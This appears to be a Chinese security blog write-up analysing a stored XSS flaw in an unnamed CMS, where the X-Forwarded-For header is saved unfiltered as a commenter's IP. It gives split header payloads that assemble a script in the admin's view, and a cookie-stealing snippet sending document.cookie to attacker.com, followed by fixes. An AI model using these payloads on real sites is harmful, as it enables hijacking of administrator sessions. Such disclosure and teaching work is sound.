某Cms 前台储存型xss
字数 1415 2025-08-27 12:33:23

某CMS前台储存型XSS漏洞分析与利用教学

漏洞概述

该漏洞存在于某CMS系统中,是一个前台储存型跨站脚本(XSS)漏洞,攻击者可以通过控制HTTP头中的X-Forwarded-For字段注入恶意JavaScript代码,当管理员查看评论时触发执行。

漏洞分析

漏洞位置

主要漏洞文件:

  • /4.1.190209/Lib/Lib/Action/Home/ForumAction.class.php
  • /Lib/Lib/Model/ForumModel.class.php
  • /Lib/Common/common.php

漏洞流程

  1. 数据接收与处理

    • 系统通过ForumAction.class.php中的update()方法接收POST数据
    • forum_cookie字段由多个ID参数经MD5加密生成
    • forum_sid为24时,取消验证机制
  2. 数据库写入

    • 调用D("Forum")->ff_update($post)方法写入数据库
    • ForumModel继承RelationModel,会验证传入数据
  3. 漏洞根源

    • ForumModel中,forum_ip字段通过get_client_ip()函数获取
    • get_client_ip()函数位于/Lib/Common/common.php
    • 该函数从多个HTTP头获取IP地址,包括HTTP_X_FORWARDED_FOR
    • 未对获取的IP地址进行任何过滤或验证

关键代码分析

// 获取客户端IP的函数
function get_client_ip(){
   if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
       $ip = getenv("HTTP_CLIENT_IP");
   else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
       $ip = getenv("HTTP_X_FORWARDED_FOR");
   else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
       $ip = getenv("REMOTE_ADDR");
   else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
       $ip = $_SERVER['REMOTE_ADDR'];
   else
       $ip = "unknown";
   return($ip);
}

漏洞利用

利用条件

  1. 注册一个普通用户账号
  2. 能够提交评论或留言

利用步骤

  1. 登录系统:使用注册的普通用户账号登录

  2. 提交恶意评论

    • 进入留言或评论页面
    • 提交任意内容(内容本身不重要)
    • 使用Burp Suite等工具拦截提交的数据包
  3. 构造XSS Payload

    • 在HTTP头中添加X-Forwarded-For字段
    • 由于IP字段有长度限制(约20字符),需要分段注入:
      */</script><!--
      */alert(1);/*
      <script>/*
      
  4. 分段提交

    • 第一次提交:X-Forwarded-For: */</script><!--
    • 第二次提交:X-Forwarded-For: */alert(1);/*
    • 第三次提交:X-Forwarded-For: <script>/*
  5. 触发漏洞

    • 当管理员查看评论时,注入的JavaScript代码会执行
    • 示例中会弹出alert(1)对话框

高级利用

  1. 窃取Cookie

    • 可以构造更复杂的JavaScript代码窃取管理员Cookie
    • 示例:
      var img = new Image();
      img.src = "http://attacker.com/steal.php?cookie=" + encodeURIComponent(document.cookie);
      
  2. 绕过长度限制

    • 使用JavaScript字符串拼接技术
    • 创建DOM元素动态执行代码

修复建议

  1. 输入过滤

    • get_client_ip()函数中对获取的IP地址进行严格过滤
    • 只允许数字和点号(IPv4)或合法的IPv6格式
  2. 输出编码

    • 在显示IP地址的地方进行HTML实体编码
  3. 长度限制

    • 对IP地址字段设置合理的长度限制
  4. 验证机制

    • 不要轻易取消验证机制(如forum_sid == 24时的操作)
  5. 使用安全函数

    • 使用框架提供的安全函数获取和过滤输入

总结

该漏洞展示了未经验证的用户输入如何导致XSS攻击,特别是通过不太明显的HTTP头字段。开发人员应始终对所有用户输入(包括HTTP头)进行严格验证和过滤,无论这些输入看似多么可信。对于安全关键系统,应考虑实施内容安全策略(CSP)等额外防护措施。

某CMS前台储存型XSS漏洞分析与利用教学 漏洞概述 该漏洞存在于某CMS系统中,是一个前台储存型跨站脚本(XSS)漏洞,攻击者可以通过控制HTTP头中的 X-Forwarded-For 字段注入恶意JavaScript代码,当管理员查看评论时触发执行。 漏洞分析 漏洞位置 主要漏洞文件: /4.1.190209/Lib/Lib/Action/Home/ForumAction.class.php /Lib/Lib/Model/ForumModel.class.php /Lib/Common/common.php 漏洞流程 数据接收与处理 : 系统通过 ForumAction.class.php 中的 update() 方法接收POST数据 forum_cookie 字段由多个ID参数经MD5加密生成 当 forum_sid 为24时,取消验证机制 数据库写入 : 调用 D("Forum")->ff_update($post) 方法写入数据库 ForumModel 继承 RelationModel ,会验证传入数据 漏洞根源 : 在 ForumModel 中, forum_ip 字段通过 get_client_ip() 函数获取 get_client_ip() 函数位于 /Lib/Common/common.php 中 该函数从多个HTTP头获取IP地址,包括 HTTP_X_FORWARDED_FOR 未对获取的IP地址进行任何过滤或验证 关键代码分析 漏洞利用 利用条件 注册一个普通用户账号 能够提交评论或留言 利用步骤 登录系统 :使用注册的普通用户账号登录 提交恶意评论 : 进入留言或评论页面 提交任意内容(内容本身不重要) 使用Burp Suite等工具拦截提交的数据包 构造XSS Payload : 在HTTP头中添加 X-Forwarded-For 字段 由于IP字段有长度限制(约20字符),需要分段注入: 分段提交 : 第一次提交: X-Forwarded-For: */</script><!-- 第二次提交: X-Forwarded-For: */alert(1);/* 第三次提交: X-Forwarded-For: <script>/* 触发漏洞 : 当管理员查看评论时,注入的JavaScript代码会执行 示例中会弹出 alert(1) 对话框 高级利用 窃取Cookie : 可以构造更复杂的JavaScript代码窃取管理员Cookie 示例: 绕过长度限制 : 使用JavaScript字符串拼接技术 创建DOM元素动态执行代码 修复建议 输入过滤 : 在 get_client_ip() 函数中对获取的IP地址进行严格过滤 只允许数字和点号(IPv4)或合法的IPv6格式 输出编码 : 在显示IP地址的地方进行HTML实体编码 长度限制 : 对IP地址字段设置合理的长度限制 验证机制 : 不要轻易取消验证机制(如 forum_sid == 24 时的操作) 使用安全函数 : 使用框架提供的安全函数获取和过滤输入 总结 该漏洞展示了未经验证的用户输入如何导致XSS攻击,特别是通过不太明显的HTTP头字段。开发人员应始终对所有用户输入(包括HTTP头)进行严格验证和过滤,无论这些输入看似多么可信。对于安全关键系统,应考虑实施内容安全策略(CSP)等额外防护措施。